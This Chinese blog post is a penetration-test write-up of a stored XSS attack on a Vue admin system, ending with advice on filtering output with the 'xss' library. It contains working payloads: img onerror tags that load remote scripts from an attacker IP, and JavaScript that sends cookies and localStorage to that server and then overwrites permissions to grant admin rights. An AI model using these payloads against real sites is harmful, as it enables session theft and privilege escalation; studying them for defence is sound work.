• 渗透测试之XSS漏洞:记一次模拟注入攻击


    前段时间在进行安全测试时,发现被测系统存在XSS漏洞,于是对被测系统进行了注入攻击,通过注入脚本代码,使得普通用户可以获取超级管理员的权限。现对这次模拟注入进行记录。

    XSS漏洞

    漏洞介绍

    XSS(cross-site script)跨站脚本攻击是一种web应用程序前端漏洞。攻击者将代码注入,用户在使用时由浏览器对漏洞代码进行解析,从而达到恶意攻击用户的特殊目的。

    漏洞分类

    • 反射型:攻击者将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
    • 存储型:又称作持久性XSS,攻击脚本被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。当数据被浏览器访问时,被注入的代码此时就会在浏览器中进行执行。
    • DOM型:DOM型XSS其实是一种特殊的反射型XSS,是一种基于DOM文档对象模型的一种漏洞。DOM节点树组成了HTML框架,利用javascript脚本可以对文档对象进行编辑,从而修改页面元素。

    随着web开发技术的进步,前后端分离框架被不断的推广使用,目前的主流开发框架中,几乎已经很少见到反射型和DOM型的XSS漏洞了,下面讲到的基于实际业务模拟注入的例子是属于存储型XSS

    模拟注入

    场景介绍

    模拟攻击的系统是一个后台管理系统。管理系统用户可以分为2种,一种是普通用户,一种是超级管理员。其中超级管理员登录系统后存在系统管理的菜单权限,普通用户无此权限。超级管理员可以通过系统管理的菜单给普通用户进行授权,分配除系统管理以外的所有菜单权限和数据权限。
    期望达到的效果:通过注入脚本代码,在注入成功后,普通用户也可以使用系统管理给自己或其他用户授予权限。

    场景演示

    渗透测试XSS漏洞演示场景

    系统分析

    在这个注入攻击中,攻击者需要窃取的是管理员的权限,然后将自己的权限替换为管理员权限。那么重点就是如何获取管理员的权限。通过浏览器F12观察系统,发现权限相关数据除了保存在数据库中,还以json串的形式在用户登录成功后保存在浏览器的localstorage中。
    在这里插入图片描述
    所以只需要通过注入脚本,就可以在用户不知情的情况下获取到权限数据了,具体脚本内容后面会写到。

    注入流程

    在这里插入图片描述
    如图所示,注入攻击流程为找到存在漏洞的功能,注入漏洞代码A,当管理员操作了对应的功能后,触发注入脚本,脚本获取到权限数据后发送给攻击者进行存储。攻击者注入漏洞代码B,攻击者触发漏洞代码B所在的功能后,脚本将攻击者浏览器内存储的权限替换为管理员的权限,至此攻击完成。

    详细步骤

    寻找存在xss漏洞的功能
    系统采用前后端分离的架构实现,前端使用vue框架。根据这种框架语法,在代码为v-html时,才会将代码语句按普通HTML插入,不会作为Vue模板进行编译。通过检索代码发现,对应功能为富文本编辑所在模块,具体为富文本查看内容相关的代码。

      <div class="markdown-body" v-html="marked(text)">div>
    
    • 1

    注入获取管理员权限脚本
    通过页面上的编辑功能,攻击者将如下js脚本添加至系统中保存在系统数据库中,当管理员查看详情时,浏览器就会加载执行这段脚本。

    <img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://10.10.xxx.xx/xss.jx'/>
    
    • 1

    浏览器解析img标签时,图片路径错误,触发onerror函数,函数会在html dom树中添加一个script标签,该标签会加载一个远程js脚本文件,这个远程js文件在攻击者的服务器上。

    console.log(document.cookie);
    console.log(window.localStorage);
    
    var data=window.localStorage;
    data["cookie"]=document.cookie;
    var xhr = new XMLHttpRequest();
    xhr.open("POST","http://10.10.xxx.xx:5000/v1/xss",true);
    xhr.setRequestHeader("Content-Type","application/json");
    xhr.send(JSON.stringify(data))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在远程js中,攻击者获取到存储在localStorage中的权限数据,调用接口使用http请求的方式将数据发送给攻击者自己的服务进行二次处理和存储,至此攻击者就已经成功获取到管理员的权限内容和结构了。
    注入替换管理员权限脚本
    与获取管理员权限一样,注入脚本动态添加script标签,远程加载js文件

    <img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://10.10.xxx.xx/xss2.jx'/>
    
    • 1

    远程js调用攻击者自己提供的接口服务,接口功能为从数据库中查询出管理员权限,并和攻击者自己的权限进行拼接和格式处理,因为浏览器存储的数据不光只有菜单数据,还有token和用户组织等数据,此处只合并替换菜单权限,保留攻击者自己的其余数据信息。

    console.log(window.localStorage);
    var data = {
    	"forged": window.localStorage["APP_xxx_PLATFORM_ADMIN_FROM"],
    	"original": "demo"
    }
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://10.10.xx.xxx:5000/v1/xss/constructPermission", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify(data));
    xhr.onreadystatechange = function() {
    	console.log(xhr.responseText);
    	window.localStorage["APP_xxx_DIGITAL_PLATFORM_ADMIN_FROM"] = xhr.responseText;
    	if (window.sessionStorage["reload"] != "yes") {
    		window.location.reload();
    		window.sessionStorage["reload"] = "yes";
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    在接口返回构造好的权限数据后,远程js脚本将数据和攻击者当前浏览器中的数据进行替换,此时,攻击者就已经具有管理员权限了。

    XSS防护

    看近10年的owasp top 10,可以发现XSS漏洞几乎年年榜上有名,但在去年xss注入被统一归到了注入里。其实,随着互联网技术的发展,在几年前出现较多的xss漏洞近些年变得越来越少见。但即使随着技术发着漏洞变少了,但XSS带来的隐患还是十分巨大。不仅是例子中的窃取、伪造用户信息,XSS还可以伪造页面钓鱼,在用户不知情的情况下进行“正常”操作,这些即使时之后查审计日志也查不出问题。那么对于XSS漏洞如何防护呢?
    对输入进行过滤,对输出进行编码。浏览器之所以能解析注入脚本,就是因为注入脚本中的js或html代码被浏览器解析了,浏览器认为这是正常的应该被执行的代码。那么我们的功能在保存和显示的时候就要对敏感的信息进行编码,比如就要被编码为<,这样浏览器就不会认为目标代码是标签了。
    在这个例子中,使用vue框架的前端服务如何进行XSS防护呢?很简单,这里只要使用npm install xss来安装xss模块,在显示时进行代码过滤,就可以比较有效的进行防护。

        <script>
            Object.defineProperty(Vue.prototype, '$xss', {
              value: filterXSS
            })
        </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
      <div class="markdown-body" v-html="marked($xss(text))">div>
    
    • 1
  • 相关阅读:
    如何清理苹果MAC电脑系统缓存数据?
    快速使用 MyBatis-Plus
    1. 约瑟夫问题
    TRC丨艾美捷 3-羟基己二酸说明书
    C#:实现Recaman雷卡曼数序列算法(附完整源码)
    代理是选择 SOCKS 代理还是 HTTP 代理
    Nodejs 安装与介绍
    2024.6.15 英语六级 经验与复盘
    力扣 226. 翻转二叉树
    Qt编写ERP库存库房发货电子看板
  • 原文地址:https://blog.csdn.net/qq_36450484/article/details/126782587